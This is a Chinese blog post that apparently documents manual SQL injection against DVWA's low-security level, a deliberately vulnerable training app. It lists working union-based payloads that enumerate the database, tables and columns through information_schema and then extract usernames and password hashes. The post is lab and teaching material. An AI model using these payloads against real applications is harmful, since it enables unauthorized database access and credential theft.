lipanling

导航

DVWA-LOW级别

SQL手工注入

Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击

low级别

选择难度low

首先在表单中输入1

输入2

查看源代码可知这一关对于表单输入ID没有进行任何过滤

注入点判断,可知受到单引号闭合影响

方便把SQL语句中后续语句全部注释掉不执行,不用考虑单引号闭合影响

语句1’ or 1=1#可以查出所有ID内容

然后判断字段(就是正常查询时可以显示用户的几条信息)

1’and 1=1 order by 1#

1’and 1=1 order by 2#

1’and 1=1 order by 3#

如果2是正确的的,3返回错误那么就有2个字段,2即为分界点

找出字段之后(找字段的作用是为了后续报错,看会有几个位置可以报错)

结合union联合查询

1’ union select 1,2#或者 -1’ union select 1,2#

二者没什么区别,第二种看起来更简洁

把查询语句中2的位置换成你要查询到内容,那么在返回结果上就在你替换掉的数字的位置上即可显示该信息。

首先是数据库名,表名,列名,之后是具体信息

数据库名

1’ union select 1,database()#

笔记:

1、在MYSQL5.0以上版本中存在自带数据库information_schema,他是一个存储所有数据库名,表明,列名的数据库,相当于可以通过查询此库获得相应信息。

2、符号“.”代表下一级

表名 table_name也可以用group_concat替换

1' union select 1,table_name from information_schema. tables where table_schema='dvwa' #

列名

1' union select 1 , column_name from information_schema.columns where table_name = 'users'#

用户名和密码

1' union select user,password from users#

posted on 2023-04-14 15:44  会上岸的!  阅读(21)  评论(0编辑  收藏  举报